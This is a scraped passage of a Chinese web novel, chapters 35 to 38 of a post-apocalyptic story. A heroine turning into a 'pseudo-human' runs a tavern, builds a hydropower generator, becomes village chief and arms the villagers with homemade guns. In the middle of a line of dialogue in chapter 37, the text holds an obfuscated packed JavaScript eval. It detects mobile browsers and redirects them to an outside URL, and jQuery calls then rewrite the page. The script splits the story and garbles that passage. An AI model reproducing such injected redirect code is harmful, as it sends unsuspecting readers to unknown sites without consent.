那帮钓鱼的人听到声音回了头,脸上皆洋溢着笑容,一个个拎着水桶向着宁筠炫耀。 “我今天钓的最多,您就等着吃鱼吧!” “你那些小鱼也配?看看我钓的鱼,全都是大鱼!” “行了行了,晚上除了鱼,还有王叔山上打的猎呢。” 直到仇远伸手摇晃了几下,抬头看着宁筠:“我的酒呢?拿回来了吗?” 被摇晃回神的宁筠看着满脸笑容的众人,很轻地点了下头。 “都拿回来了。” 说完后掀开了车厢上的被子,满满当当的酒瓶就在空气中闪着耀眼的光芒,里面透明清澈的酒水微微晃荡,形成了漂亮的沫花。 “哇,你这是掏空我舅的酒窖了?” 确实掏空了。 “你的舅舅还活着。” 孝顺的外甥显然不关心,他只关心酒有没有损坏,或者有没有失去它应有的风味。 “哎哟,这酒不能这样放,你看气泡都跑了一半,不好喝了。” 宁筠冷漠地走进了酒馆,车旁只剩下叭叭不停挑刺的仇远。 “唉——搬运的时候小心点,这酒不能这样拿!” 没人理他,气得仇远直跳脚,“你们!算了,别打碎了!” 宁筠打开酒馆的门,眼睛弯弯的,回头望了过去。 夕阳洒下金黄色的光辉,落在每个人的身上,暖洋洋的,像是处于某个郊野,没有伪人的侵扰,他们只是普普通通的郊游。 宁筠突然意识到,有些人拼命只为了建设一座城池,是为了什么。 到了晚上,宁筠吃到了这几天的第一顿饭。 宁筠在路上可以不吃不喝,但不代表宁筠不会饿,在无数个日夜里,她只能看着车厢中的酒水发呆,然后默默地瞪着三轮。 不为别的,她忘记了带上路的干粮。 人怎么可以捅这么大篓子,要不是她饿不死,估计这堆酒带不回来。 宁筠接过有人递来的烤鱼,色泽金黄,上面仅仅撒了一点调味料,鲜美的气味就顺着宁筠的鼻尖进入鼻腔,闻起来美味异常。 本该是如此的。 宁筠看着其他吃得不亦乐乎的人,低头看着自己手中的烤鱼,怎么看怎么不想吃。 就像是……她的食物不包含烤鱼一样。 与此同时,她突然察觉到一种不同的气味,一种她从未见过的奇怪味道,像是被火烧过的,带着糊味的人类气息。 她有点饿了。 “你怎么没吃我给你带的干粮?” 正当她压抑着自己的口水时,猛然听到齐荦荦这样问她。 声音不大,但传到宁筠的耳朵里,就有点震耳欲聋的意味,听得宁筠身体发僵,下意识地咬上了烤鱼。 是苦的。 36. 饥饿感 宁筠默默将鱼吐了出去,说:“路上有好心人。” 老赵那伙人身上有不少行路的干粮,数量不多,宁筠觉得丢在这里十分浪费,又偷偷摸摸折返回来,将干粮打包带走。 酒馆的干粮是齐荦荦和宁筠联手制作的,因匆忙离开,看上去要比老赵的干粮粗糙不少,更难以下咽。 齐荦荦点了下头,又继续说:“鱼好吃吗?大家特意为你烤的。” “好吃。”为了证实这句话,宁筠狠狠地咬了一大口,强忍着嘴边溢出的苦味,咽了下去。 眼中的景色似乎变得模糊了,她下意识伸出手擦拭了一下,指尖上一片湿润。 苦到流泪了。 看得齐荦荦眉开眼笑,“既然你喜欢吃,还有三条呢。”她攀附在宁筠的耳边,悄悄地说:“我们这样的大女人,就该大口吃肉大口喝酒。” 在听到“肉”这个字,宁筠视线偏移到窗外,喉咙稍稍滑动。 在听说有烤鱼这项活动时,仇远蹦蹦跳跳,闹着要求举行篝火晚会。 据他自己所说,酒城内部的人们一辈子不会出城,室外严禁放火,室内烧烤油烟更大,导致他总是吃不到烧烤。 自从大家听说了仇远的事,也总是下意识地满足他的需求。 有人将烤好的串递给仇远,打趣着问:“那你以前怎么吃到烤肉的?” 仇远托着腮想了想,道:“我嘛,因为以前总吃不到烧烤,看到书里的制作方式又馋,就偷偷烤着吃。” “后来……”他努力思考着,声音变得有些迟疑,“后来我好像是要做什么事来,那天的火烧大了,差点点着了房子,然后就……” “就……” 就什么来着?仇远要说的话卡在了嘴边,像是有什么东西,将他脑袋里的记忆抹去,只剩下片刻的囫囵事儿。 手中的烧烤变得没滋没味,含在嘴里,咽不下去吐不出来,就好像……他此时很不开心一样。 旁边的人猛地排向仇远,哈哈大笑:“看你小子一言难尽的样,一看就知道被妈妈打了,是不是?” 仇远从奇怪的状态脱离出来,敷衍地点了几下头,将嘴里的食物咽了下去。 怎么变得不好吃了。他心想。 就在这时,突然有人一拍脑袋,道:“坏了,吃烧烤怎么能没酒呢,我去给你们拿。” 房间内的宁筠合了一下眼,再度睁开时,将所有的情绪隐匿在深处。 宁筠说:“你说得对,去吃饭吧,我去拿酒。” 她伸手推了齐荦荦一下,正要打开门,却发现门轴无风自动,探出了一个犹犹豫豫的脑袋。 “您也过来吃吧。”她说,“我去拿几瓶酒,您想喝什么样的?” 宁筠起了身,说:“我和你一起去。” 新搬运回来的酒被放在了地下室,仅有少部分摆在了台面上,一方面是图个好看,另一方面是没人来,保存不当容易加速酒的老化。 既然要喝,自然是喝地下室的酒。 地下室的寒气要比地上重得多,门上隐约飘了一层水雾,到显得地面湿漉漉的,直顺着骨缝向上。 这种阴暗潮湿的环境天生适合伪人,她不仅不觉得冷,甚至有一种宾至如归的感觉。 霎时间,宁筠胃部的饥饿感又重了几分。 两人进门后右拐,直到一个独立的小房间内,翻找了几瓶度数较低的葡萄酒,就沿着原路返回。 就在即将打开门的那一刻,宁筠悄悄伸出手,扯下来一块屋顶上挂着的腊肉,然后含在嘴里。 是甜的。 前面的人一无所觉,不知道自己刚从鬼门关走了一遭,还乐呵呵地将酒瓶分发给众人,连宁筠也不例外。 宁筠垂着眼,抿了一口酒,冲淡了嘴里的血腥味,在众人明显吃饱后,开始吹拉弹唱的那一刻,起了身。 “不再吃点了吗?”齐荦荦偏开头问。 她摇摇头,手中拿了一瓶酒,向着无人的旷野前行。 篝火旁围了一圈的食物。好在伪人的肚子不会咕咕叫,不然对着一个食物就叫一声,也挺惊悚的。 旷野的少部分被拿来耕了地,带来的种子都被种在了地上,等待着明年发芽的机会。 陈叔说如果再晚几天,他们只能等到明年四月,冻土化开后才能播种。 而现在一粒一粒的种子,正好好埋在漆黑的土地里,等待着寒冬过去,焕发出新的生机。 黑土是最肥沃的土壤,宁筠不担心结出来的果实不好。 不知不觉间,一瓶葡萄酒就空了瓶,最后一滴酒水顺着瓶口进了宁筠的口中,被人扔在了地上。 有些晕。 天空四分五裂,一部分是由土地构成的天空,另一部分是纯粹的云,两者同时出现,又融合在一起,形成了一种奇怪的、扭曲的景象。 宁筠晃了一下脑袋,指尖摸了一下眼睛,才发现这似乎不是幻觉,而是她的眼睛长歪了。 一只长在了原属于额头的天庭,另一只则跑到了嘴巴旁边,只要能伸出舌头,就能舔舐到咕噜噜乱转的眼球。 她心下一惊。 下一秒,所有的一切归于原位,天是天,地是地,什么都没变,就像是她产生了一段奇妙的错觉一般。 怪不得伪人的走路姿势那么怪,这不晕才怪。 “宁筠——”齐荦荦的声音从篝火旁传来,“回去了,晚上伪人多!” 篝火已经被熄灭了,还剩几个零星的人做最后的收尾工作,其中有几个喝大了头,话都说不清楚。 “我高速你,我一叮……定会种好地,你们都瞧不起我,我就种给你们看!” 陈叔摇摇晃晃的,还想再说些什么,被陈婶拉了回去,一巴掌拍在头上。 “知道了知道了,快睡你的觉去吧!” 宁筠揉了揉眉心,低低笑了几声,拎着被扔到地上的酒瓶,趁着最后一个人离开前,走了过去。 在于另一个人擦肩而过时,奇怪的是,她并没有闻到奇怪的味道,腹部也没有饥肠辘辘了。 自从来了这么多人,别墅群就显得热闹很多。 最开始,众人刚来的那一天,各个别墅死气沉沉,每打开一扇 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宁筠关上了窗户,迷迷糊糊洗了把脸,下楼时,就看到仇远怒气冲冲,坐在一旁的小凳子上,对着宁筠哭诉。 “宁姐,你知不知道,我今早去地下室的时候……” 自从宁筠昨天带回来了酒,仇远兴奋到睡不着觉,这些酒水是酒城存在过的证明,也是仇远自小隐秘的梦想。 他要作出世界上最受欢迎的酒。 只是他一早去打开装载了自己梦想的屋子后,天都塌了。 地面上散落着空掉的酒瓶,酒柜上乱七八糟的,似乎有什么人入侵过,挑三拣四后大喝了一通。 最主要的是,空瓶的都是珍贵的葡萄酒,其他用粮食、蒸馏做出的酒水则是浅浅的开了一瓶,喝了一口就扔了下去。 小偷明显有目的,直奔着葡萄酒而去。 这个认知让仇远更加恼怒。 都是酒,就葡萄酒好喝是吧?! 他抹了把眼泪,道:“给我一点时间,我一定要找出凶手,给葡萄酒安葬……” 全然没看到宁筠一脸心虚的模样。 其实她也不知道怎么回事,昨夜的酒似乎分外的醉人,等到她有了意识后,自己已经坐在了齐荦荦的床边,手掌差点就要碰到了她。 清醒过来的宁筠,冷汗瞬间浸湿了她的后背,慌忙间向着门外逃离,误打误撞地进了酒窖。 如影随形的饥饿感侵蚀着她的全身,在慌乱之中,她也不记得自己拿了多少的酒水,只要是能果腹的酒水,她照收无误。 到最后,她也不记得自己喝了多少酒,又是怎么回到的房间。 “宁姐,你说呢?” 宁筠从怔愣之中恢复了神志,下意识点了下头,“我觉得你说得对。” “太好了,那我就成立个小队调查了!”仇远哼笑着说,“我宣布,酒馆探案组,成立!” 像个意气风发的少年,又忘记了偷酒的愤怒,兴冲冲地奔出了酒馆。 “酒馆探案组,有人要加入吗?” 37. 二合一 宁筠看着他离开,又想到了昨日在酒窖的模样。 白酒闻到味道就没喝,黄酒喝了一口,似乎就被她丢掉了。剩下葡萄酒喝得最多,其次是水果酿成的酒。 也不知道喝了几瓶,她现在没有饥饿的感觉。 饱思□□,宁筠饱了只会思考接下来该怎么办,毕竟她随时可能会失控。 “宁筠,原来你在这里。”齐荦荦说,“早上的发动机又坏了,陈叔他们在修,你先吃点干粮垫一下吧。” 宁筠接过了饼干,却没有要吃的意思,虚虚地望了一眼楼下,突兀地说了一句:“我知道怎么解决了。” “啊?你别走,先吃饭!” 陈叔几个人围绕在发电机旁边,对着上面的零件摆来摆去,伴随着一阵轰鸣声,发动机冒起了黑烟。 发动机冒黑烟有很多种问题可以解释,但绝对不包括眼前的现象。 之间黑烟吞吞吐吐了一阵,停歇了一两秒后逐渐变得庞大,内核中隐隐约约可以看到燃烧的红色。 “快跑,要炸了!” 只听“砰”的一声,一朵蘑菇云直冲天际,无数尘土掀起,将陈叔几人吹得满脸灰尘。 经过众人的努力,原本只是有了缺陷的发动机,此时终于归了西。 几人面面相觑,不知道是谁先开了一个头,笑声就如同滚滚浪潮,一连滚到了宁筠的耳边。 陈叔笑得直拍大腿,说:“小宁啊,对不起哈哈哈哈……”陈叔话还未说完,又忍不住笑,笑得直漏风。 周围几个人看到,笑得更欢了。 宁筠也没忍住,嘴角扯了扯,说:“没事,我想到一个更好的发电方式。” 她拿出来刚刚画的图纸,将这些一五一十地指给他们,介绍着。 “我打算建造一个水利发电机和生物质电发电设备。” 众人都是大老粗,在末世之后唯一会的技能是种地,有几个个仅仅学过几年的机械,还未等实践,酒城却没了。 于是宁筠耐心解释,“水利发电机就是靠水发电,生物质电是靠农作物发电。” 虽说是这么说,但众人还是有些懵懵懂懂,只有几个学过机械的人耐心地听着。 宁筠在前世为了玩游戏,学过不少有关于乱七八糟的知识,其中发电机就是一项。 她将这些讲给众人听,将制作方法细致地写了出来,末世后的人们蜷缩在一个城池之内,没见过这么奇妙的建构。 “原来还可以这么利用……” “如果水流的高度不够怎么办?或者遇到了干旱季节,水压不够,我们怎么做?” 宁筠解释道:“通过压力钢管将水引到水轮机,不用担心水压不够。” 几人又问了若干问题,宁筠连连解释,她讲得通俗易懂,连最基础的原理也细致将清,就连从未学过的陈叔也大致懂了过程。 说做就做,宁筠讲清楚了过程,其他几个人就开始动手。 先是发电机。 拜刚刚所赐,大家唯一能用的发电机已经报废,几人只能再做一个。 除了这些人,陈叔又叫来了几个人,负责制作各种管道和线路,以及进入水底所需的建材。 明明只是几十个人的村落,却做出了上百人的气势来,各个分工明确,有人搬运材料,有人制作材料,甚至有人动手能力强,已经开始研究发动机的构造了。 宁筠也没闲着,不停地探测湖底的位置,直到找到一个最适合建造发电机的地方。 忙碌了三天三夜,第一个发电机成型。 众人小心翼翼地搬运,又小心地打开了发电机的开关按钮。 无数的村民聚集到发电机附近,睁着眼睛,一眨也不眨地看着。 在按钮摁下之后,发电机缓缓运行,发出了阵阵轰鸣声,靠近的人甚至能感受到由发电机飘过来的阵阵热气。 发电机成功运行了,接下来才是重头戏。 众人屏息一口气,将视线落在不远处的别墅上。 直至一秒、两秒、三秒,在无数人期盼的目光之下,第一家的灯火缓缓亮起,霎时间,铁门上的灯笼亮起,五彩缤纷,点亮了众人的欢呼之心。 “亮了!” 紧接着,第二家、第三家…… 由于管道的并行加上了串行的结构,即使有一家的线路有问题,也不会耽误其他家的线路。 直到最后一家,那灯光颤颤巍巍的亮起,还未等所有人欢呼,又“啪”的一声,陷入了沉睡之中。 似乎并不只是单纯的电路问题,最后一家灭掉之后,又像是播放着到放的电影,从后至前,每家每户的灯光短暂的亮起,然后纷纷熄灭。 众人的表情也如同倒放一般,从激动逐渐面无表情,隐约能听到有人叹了口气。 “快,快关掉发电机!” 人群中突然有人吼了一声,靠得最近的青年才反应过来,在水面之下的水轮机不知怎么回事,旋转得愈发厉害,几乎要形成了一个小漩涡。 直到发电机的关闭,水面才归于平静。 宁筠垂下眼看着,然后吩咐道:“去看线路有没有问题。” 水轮机能运行,说明本身没有问题,那只能说明了一件事,极有可能是线路的短路。 过了一会儿,查看线路的人匆匆回来,弯着腰喘息了几口气。 “是……总设备那边跳闸了。” 紧接着,另一个人回来说:“我在最后一家发现了这个。” 他将东西递给宁筠,说,“可能是它引发的。” 是一个小型的金属管,上面还残留着余温,可见刚刚通电时,这个东西有多么的烫。 有人急匆匆地说:“我……我没特意安装,这不关我的事!” 显然是房子的主人。 宁筠没理会,只是吩咐众人继续检查。 过了一段时间后,检查完的众人再度回来,捏着一颗紧张的心情,第二次摁下了发电机的开关。 “一定要成功……”有人默念着。 紧接着,水轮机缓缓开启,水面上波涛汹涌,将所有人凝固的脸打散。 下一刻,所有别墅的灯光亮起,但没有人欢呼,众人大气不敢喘一口,生怕下一秒又熄灭。 足足等了十分钟,人群才有了几分窃窃私语。 有人不可置信地问着:“成功了?” “成功了!” 伴随着众人的欢呼声,有人看向发动机,继续喊道:“没变化,宁筠也太厉害了吧!” 不知道是谁喊了一句,“这么厉害的人,至少要混个村长当当!” “我觉得对,当村长!” “当村长!” “当村长!” …… 宁筠还未等说些什么,众人将她拥护起来,举起手臂,喊着:“当村长!” 声音越来越大,也越来越统一,直到宁筠不得不应了下来。 “事先说好,我不会管理,如果出问题的话……” 陈叔笑着:“我来担责任!” 有人噗嗤一声笑了出来,笑着打趣:“您一把老骨头了,能行吗?” “怎么不行?我年轻时还当过村官嘞!” …… 热热闹闹的,偶尔有几只路过的飞鸟,也被声音惊得从树梢盘旋,围绕着人群飞行。 自从有了电,酒馆的安保又上了一层楼,村庄里有个天才,通过宁筠模糊的图纸,居然复刻出来不少实物。 比如摄像头,每家每户都安装了一个,组成了一个巨大的网状结构,就能足不出户看到酒馆的四周,伪人就无处遁形了。 又比如电缆线,电缆线很粗糙,但对于不大聪明的伪人很有效,一踩一个准。 这些都是宁筠制作了发动机后的结果。 再然后,宁筠当上了村长,就总觉得闲不住,于是吩咐了一批人连夜制作城墙的图纸,现在城墙改造计划进行中,属于很快可以动工的程度。 直到动工的前一天,酒馆来了一个奇怪的客人。 与其说是奇怪,不如说是非常的自来熟,上来就对酒馆指手画脚,又对那堵墙壁啧啧称奇。 好像是她家一样。 直到她坐在了酒馆的吧台上,被擦拭酒水的仇远看到。 “你是……舅舅的老师!”仇远一拍桌子,大喊了一声。 怀文雪愣了一下,指着仇远,对宁筠说:“这小屁孩是谁?” 这一句话似乎伤到了仇远,眼看他睁大了眼睛,泪珠就要凝结在眼眶之中,怀文雪咳嗽了一声。 “开玩笑的。”怀文雪笑了一下,说:“你们看起来过得不错,我这次路过没别的意思,就是景澄害怕弟弟没什么自保之力,要我教他一段时间。” “那舅舅怎么没来?” 怀文雪睨了他一眼,道:“听说有人不关心自己舅舅的死活,他伤心了。” 这话也就仇远这个小屁孩能信。 好在小屁孩也没什么记仇的心理,又听了几句好话,就屁颠屁颠地给怀文雪调酒喝。 宁筠正想露一手,被怀文雪一把阻止。 “停。”怀文雪面无表情地说,“我今天想喝点好喝的,不想品尝生活的苦。” 行吧。宁筠又坐了回去。 仇远果然很有天赋,只见他拿起了酒,就瞬间进入了状态。宁筠距离仇远很近,但从刚刚起,仇远的呼吸就已经听不到了,整个人像是与调酒器融为一体。 接下来,仇远的手上飞速运转,一个简简单单的摇酒器,在他这里成为了一个杂技道具,他总是以极刁钻的位置扔出去,然后精准地接住,酒水就在这瞬间扬起了一个漂亮的浪花。 与平时吊儿郎当的模样完全不同。 过了十五分钟,仇远倒出摇酒器上的最后一滴酒,将漂亮的、泛着沫花的酒递给怀文雪,表情得意洋洋。 “您要教我什么?如何打伪人吗!”宁筠听到仇远这般兴奋地说着。 怀文雪抿了一口,道:“不是。” “教你怎么分辨伪人,方便逃跑。” 仇远:“?” 啪嗒一声,惊醒了仇远,他默默将掉在地上的杯子收拾掉,然后背对着所有人,看起来要多寂寞有多寂寞。 怀文雪故意说:“如果有人能给我再调一杯的话,我或许会教教别的。” 就见那一小圈背影动了动,宽厚的衣袖后面探出一个脑袋来。 “真的?”脑袋发出了声音。 不一会儿,吧台上又多了一杯泛着橙黄色的气泡酒,杯顶挂了一张小纸条,上面写着:那我要学打枪。 怀文雪故意装没看见,慢慢抿着,边与宁筠闲聊。 “我最近回了一趟基地,你猜猜上面的头号通缉人是谁?” 宁筠没说话,表情十分镇定。 看怀文雪调侃的神色,拿脚想,也知道说的是她。 “没意思。”怀文雪叹了口气,说:“你把沈枫打了,不过在野外,哪有不起冲突的,本来是个小事,但恰好赶上实验体失控了。” 宁筠问:“所谓的实验体,是伪人?” 她想不出来还有什么实验需要猎人。 “对。”怀文雪将酒杯里的酒一饮而尽,长呼一口气,“基地一直在研究伪人,一直以来没什么成效。” “具体过程就不多说了,直到上个月,他们发现了一种从未见过的基因,这种基因可以让改变生物的形态。” “这不是好事吗?” 如果这种基因能被破解,人类可以打造出绝对的安全基地,再发育一段时间,就能够彻底解决掉伪人的存在了。 然后宁筠就可以乖乖投降,请求基地的宽恕了。 然而怀文雪的表情却变得郑重起来,“这是他们噩梦的开始……” 那天晚上,刚进入研究所的实习生小张,照例查看基础设备时,无意中走到了实验室的最深处。 那里有一间单向玻璃制成的房间,里面装着最危险的实验体——伪人。 但小张只看到了他的母亲。 “儿子啊。”他的母亲说:“妈妈以你为骄傲,但是……妈妈好像看不到这一天了。” 母亲趴在单向的玻璃上,似乎想要伸出手,隔着玻璃与儿子相握。 小张浑身发抖,眼中的泪水止也止不住。 “你……杀了我妈妈?” 玻璃内的母亲温柔地笑着,语气与平时的她别无二致,这恰恰是小张害怕的点——这说明他的母亲早被伪人吃掉了。 没想到下一秒,实验体又变成了他父亲的模样,用严厉的语气对他说:“你这辈子都要听从父母的话!” “妈妈以你为骄傲。” “我是你的父亲!” 两张脸互相交织,不断冲击着小张的感官,直到他再也忍不住,将玻璃门打开…… 第二天,研究员们照常打开室内,结果发现了惨死于玻璃内的小张,而原本实验室内的伪人不知所踪。 “沈枫本来是回去接手这个麻烦的。”怀文雪说,“结果你打了他一枪,子弹碎片击中了沈枫的身体,结果实验体跑到不知哪里去了。” 这种罪也能怪到她的身上,基地的负责人大概是拿脚在拍案。 宁筠又回想着这件事的细节,突兀地感觉到了几分不对劲。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065039|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小张的父母死了吗?” 怀文雪惊讶地放下杯子:“你意识到了?我们调查时,小张的父母还好好活着,没有被杀害的迹象。” 这说明,伪人们不需要杀人也可以替代人类。 这么先进的能力,它们居然不带宁筠玩,这让宁筠很失……啊不,悲伤。 “这么说,基地的防御系统失效了。” 怀文雪“嗯”了一声,“所以没空管你了。你也别一副高兴的样子,只要他们能腾出手来,你还是危险的。” 这是件好事,宁筠对怀文雪的情报道了谢。 一旁的仇远早已等不及了,摇摇怀文雪的衣角,委屈巴巴的。 “怀姐姐,我可以学吗?” 这一声让怀文雪很受用,她拍了拍下手,示意着仇远,说了句“出去吧”就走出了门。 仇远蹦蹦跳跳跟了过去。 靠近别墅的旷野除了开垦的土地,还有一部分变成了村民们的娱乐设施,篮球架、足球场,还有一些刚刚建立好的靶子。 仇远就站在一堆靶子中间,远远地冲着宁筠几个人傻笑。 “快来!” 这兴奋的模样,不知道还以为要上阵杀敌了。 宁筠看不过去眼,拍了拍怀文雪的肩膀。 “算了,你去教。” 怀文雪的消息让宁筠意识到,她的时间可能不多了。 她看着日出而作,笑得朴实朴素的人们,以前从未考虑过的事情又浮现在她的脑海里。 她可以逃离,可以游走世界,这些人怎么办? 他们好不容易从一个地狱逃离,又一脚踏进了另一个地狱。 宁筠垂下眼,指尖摩挲着手腕,盯着仇远把玩的那把枪,陷入了沉思。 入冬初期的温度骤然下降,尤其是在做着高专注力的事情时,这种寒冷就会顺着脊背向上,占据了大脑的大部分感官。 “砰。” 枪响震落树枝上几个果子,恰好落在标靶上。 仇远眼睁睁地看着果子命中了标靶的十环,而他的子弹不知道飘到哪里去了。 “哎哟,这是谁的子弹?” 正清理着杂草的陈叔摸了摸头,捡起地面上的子弹,又准确无误地扔了回去。 看起来已经很熟练了。 “你这个天赋……”怀文雪在一旁啧啧称奇,看着仇远跑到了另两个靶子旁捡起树脂制成的子弹。 为了子弹的循坏利用,基地专门研制出了可循环的树脂子弹,重点是便宜量大和量大便宜。 但这并不会帮助仇远打中十环。 他捏着和塑料差不多的子弹外壳,从之前信心满满变得怀疑人生。 训练场上一共设立了三个靶子,其中正对着仇远的靶子上没有任何的坑洞,另两个靶子上有零星几个坑洞,剩余的大部分……砸到了修补城墙的村民身上。 “我是不是不适合……”仇远把子弹扔回框里,无声地叹了口气。 怀文雪大咧咧坐在草地上,一只手搓着树枝,然后对准远处的靶子——正中十环。 “我当年训练时,我和你一样。第二是个很厉害的家伙,第一次就能正中靶心。”怀文雪眼睛弯弯的,像是在回忆着什么。 “我自己可能不适合当猎人吧,这样想着,我向教官提出了退伍的申请。” “然后呢?”仇远问。 “最后被一个小傻子劝回来了。” “就这??” “就这。”怀文雪说,“那个考第二的小傻子说‘你爱学不学’,到时候别哭哭啼啼跑到我后面求保护。” “你呢,你会哭哭啼啼地跑到宁筠后面求保护吗?” 听得仇远脸色一红,半响后磕磕巴巴地说:“我才不需要别人的保护,不就是训练吗!我还能再打十次!” 刚走出酒馆大门的宁筠,捂住耳朵,听着仇远志气昂扬的喊声。 活像是喝了碗毒鸡汤。 “训练怎么样了?” 怀文雪看了宁筠一眼,无奈地摇摇头。 “还差点意思。” 怀文雪嘴里的差点意思,那绝对是差很多,差到天崩地裂的程度。 这话自然不能让仇远听到,不然他又要道心破碎,躲在角落里伤心了。 宁筠压低了声音,道:“别吊死在他这一颗树上。”她指了指远处还在修建城墙的村民们,“你看他们行不行。” 怀文雪这次只是被仇景澄要求,给他不成器的外甥一个自保机会,根本没准备这么多,听到宁筠这句话陷入了沉思。 枪这种东西需要良好的势力和身体平衡能力,年纪越大,这种能力就退化得越快。 至于宁筠所说的村民们,平均年龄至少35岁起步,按照人体学来说,已经不适合从头学起。 这真的能行? “并不是我不想教。”怀文雪遗憾地说,“枪不够了。” 谁知道宁筠拍了拍她的肩膀,随手就掏出来了几张图纸。 图纸上除了各种枪支解剖图,还写了各种密密麻麻的小字,仔细去看,还标注了原理和各种力学分析。 怀文雪:“……” “你认真的?” “当然了。”宁筠理所当然地说,“我把这些图纸交给了宋老师,他说可以试试。” ??? 这玩意是说能造就能造的吗? 先不说枪支的精密程度,就是这些精细的零件,也不是几十个村民随便商量就能做出来的。 怀文雪学习了很久,才堪堪弄懂了其中的原理。 偏偏在与宁筠唠嗑的功夫,她看到远处有人走了过来,怀里端着满满一兜枪,一脸兴奋递给了宁筠。 枪身线条舒缓,在阳光下折射出波浪形态的光斑,尾部留了一个上挑的尾翼,看起来精致流畅。 “试过了,能用,但还是有一点问题。”宋老师指着图纸上的内容,与宁筠细致地介绍着。 宋老师以前是大学的机械工程教授,酒城被破时恰好返乡休假,这才逃过了一截。 自从来到了这里,宋老师就一直着手重建实验室,之前的发电机能顺利运行,全靠宋老师日夜不休的实验。 怀文雪瞳孔地震。 小小的酒馆卧虎藏龙。 她看着一旁依然没命中几颗子弹的仇远,趁着对方回来的功夫,慈祥地摸了摸他的头。 “没事。”怀文雪说,“我觉得在这里,就我和你像个同类。” 仇远咽了下口水,握着手里的枪,不知道该不该打。 在犹豫的期间,仇远的手中被塞了一把枪。 宁筠:“你来试试。” 38. 失忆 认真的? 仇远低头看向自己手中的枪,经过这几天的训练,让他充分认清了一个事实——他拿着枪,纯粹是侮辱了枪。 他犹犹豫豫地说:“那我试一试。” 与那把训练的枪不同,这支枪入手就极为沉重,在他摆出训练时做过的千百次姿态时,突然间感觉到了有什么地方不一样了。 远处的标靶清晰可见,他能听到自己砰砰的心跳声,还有细微的,血液流动的声音。 “砰——” 仇远看得清清楚楚,子弹自弹道中发射后,就直直奔着远处的标靶而去。 就在即将落入到标靶的十环时,子弹一歪,眼睁睁地落到了十环开外,最终在标靶的最边缘处印上了浅浅一个坑。 “再打一枪。” 不知是谁说了一句,仇远就下意识地抽出了枪。没过多久,标靶同一位置上的坑洞变得更深,隐约能看到一个子弹的形状。 “问题就是这样,距离太短了。”宋老师适时开口。 不是他的问题吗? 仇远后知后觉抬起头,就看到两人细致地研究,他未敢出声打扰,只是用求助的眼神看着怀文雪。 怀文雪似乎也有些惊讶,呆呆地看着标靶,然后无可奈何地笑了一声。 “我就说,仇书章的孩子怎么可能这么笨。” “您的意思是……”仇远眼睛睁得很大,像是听到了什么不可能的事情。 “我是说,你很有天分。” “不对。“仇远停顿了一下,说:“我是问,仇书章是谁?” 怀文雪作为仇景澄的师父,自然知道仇书章一家的事情,只是没想到,这件事似乎对仇远的打击有些过大了。 她歪着头小声问宁筠:“他失忆了?” “准确说,是丢失了关于他母亲的事情。” 对于其他事情,仇远记得一清二楚,唯独关于母亲的事情,仇远似乎记不得,也不再为此难过。 “我觉得是好事。”宁筠看着一脸莫名的仇远,说。 “所以仇书章是谁?是我父母中的一位吗?” 要不要告诉他?怀文雪用眼神示意着。 短时间内,仇恨是最大的助力,但长远看来,这样的仇恨或许会让他失去了自我,变成只会为了复仇的机器。 尤其是……宁筠并不认为仇远的脑袋够用,或许这种失忆的方式才是他对自己最好的保护,他自认为的。 宁筠想了想,说:“她是个很好的人,以后有机会,我带你认识她。” 有一说一,老板画的饼确实香,尤其对于还处于天真无邪状态下的仇远。 他一点头,这事就算应下了。 怀文雪在松了口气的同时,也为自己的嘴欠付出了代价。 改良图纸。 宁筠几个人只是照着枪支的画瓢,缺乏精细的参数,而怀文雪作为系统学习过的人,自然也被教过极端情况下的自保。 如果被伪人包围,附近又没有任何补给点,她们需要自己维修身上的装备,一些简单的修补知识是十分必要的。 怀文雪并不喜欢这类知识,考试时也才将将及格,但这并不代表怀文雪不会掌握这样的知识。 “如果管道再短0.5mm,子弹的速度会更快一些。” 怀文雪拿着签字笔,修改了不少图纸上的数据,等宋老师重新制定后,再修改着实际的错误。 半个月过去了,仇远又充当了新武器的测试员,而这一次的他也褪去了刚接触枪的兴奋,静静地沉下心来,将所有的注意力放在标靶上。 十环、十环,还是十环。 标靶上与之前的枪支相比,现在的枪支威力更大,几乎要将标靶打破。 宁筠满意地看着枪支的威力,并召集了第一次“村长大会”。 其实只是在大家吃饭后,把所有人叫到酒馆而已。 “今天是打算通知一下大家,为了避免遭受酒城的覆灭,我们的酒馆要实行一个新的策略——全员皆兵。” 宁筠站在吧台上,看着一众的村民。 村民并不多,作为被酒城吸血的村子,年轻人自然都跑到了酒城,剩下一群体态苍老,做了一辈子农活的中老年人。 “伪人随时有可能入侵,所以……我决定给你们每人配发一把枪,并学习技能,让你们在被入侵的末世里,也足以自保。” 宁筠将事先准备好的枪放在吧台上。布袋子上的拉锁一滑,里面漆黑的枪体就漏了出来。 即使在混乱的酒城,枪支也只配雇佣兵和士兵们所拥有,普通人只能见过,申请却十分麻烦,见到这么多枪,众人简直要看直了。 “我们也有枪?” “哎哟,这东西给年轻人就好,万一我们一把火走歪了,岂不是要闹人命咯!” “请问,我们一人一把吗?” 底下的村民窃窃私语,宁筠就在上面安静地听,时不时回答真诚提问的村民们。 “是的,只要报名就有。” “代价是需要保护酒馆的安危。” “会训练的,我特意找来了特级训练师……” 屋内宁筠的声音平静温和,但总能盖过村民激动的声音,解答着村民的疑问。 屋外几个正喂着蚊子的人,自然没这么好的待遇。 仇远撇了撇嘴:“原来我只是个测试的。” 屋子里除了仇远的唠叨声,细听还有汩汩细流的声音,怀文雪将接满水的杯子递给仇远,试图让他闭上那张嘴。 怀文雪翻了个白眼,说:“还不是因为……算了,欠你们的。” “那你以后还教我吗?” “教,再闭不上嘴,我就不教了。” 仇远委屈巴巴地“哦”了一声,又想说些什么。 而就在此时,一旁从未说过话的齐荦荦出了声,“所以今天晚上谁守夜?” 这一句话让仇远彻底闭了嘴。 守夜是最近宁筠新发明的东西,以宁筠四人分中心,分作两组,在夜晚巡逻守护众人的安全。 而当初仇远意气之下成立的“探案组”,成功被宁筠扭转为了“巡逻组”。 